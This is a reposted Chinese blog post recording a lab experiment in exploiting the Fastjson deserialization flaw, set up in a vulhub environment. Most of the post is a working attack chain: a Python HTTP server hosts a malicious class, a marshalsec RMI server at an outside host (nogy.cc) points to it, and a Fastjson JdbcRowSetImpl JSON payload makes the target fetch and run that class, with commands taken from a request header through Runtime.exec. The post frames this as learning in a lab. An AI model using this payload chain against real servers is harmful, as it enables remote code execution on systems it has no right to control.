码迷,mamicode.com
首页 > 编程语言 > 详细

java反序列化的恶意类回显实验

时间:2020-07-10 13:38:53      阅读:108      评论:0      收藏:0      [点我收藏+]

标签:exec   记录   runtime   文件   loading   序列   地址   目标   server   

//希望自己能持续的坚持学java

因为看书学java有点枯燥,虽然我没搞清楚状况,但是还是希望做个实验。以下是实验记录。

前提条件

  1. 准备一个 漏洞环境,比如vulhub里的fastjson
  2. 看精彩的文章比如fnmsd大佬的,看完虽然我没看懂但是我明白了大佬写了个可以回显的poc).
    基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)
    Java中间件通用回显方法的问题及处理(7.7更新)

开始实验

vulhub 里的readme里的payload类似以下

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://...",
"autoCommit":true
}
}

你需要做的是,

  1. 下载编译运行一个marshalsecgit clone .... && mvn clean package -DskipTests

  2. 下载编译准备好fnmds 大佬在博文中提到的写的这个类 wget ...DFS.java && javac -encoding UTF-8 DFS.java

  3. 玩!

你需要做的仅仅是一个web服务保证目标机器能访问到你的class文件

python -m http.server 80

这样你就有了一个类似 http://nogy.cc/DFS.class

然后根据这个地址启动一个rmi

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://nogy.cc/#DFS" 9999

这样你就得到了一个 rmi://nogy.cc:9999/DFS

所以选择了JdbcRowSetImpl + rmi 的你的payload就是

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://nogy.cc:9999/DFS",
"autoCommit":true
}
}

? 你想执行的命令在header里,所以记得加上

Runtime.getRuntime().exec(r.getHeader("cmd")

技术图片

java反序列化的恶意类回显实验

标签:exec   记录   runtime   文件   loading   序列   地址   目标   server   

原文地址:https://www.cnblogs.com/ax-y/p/13278647.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!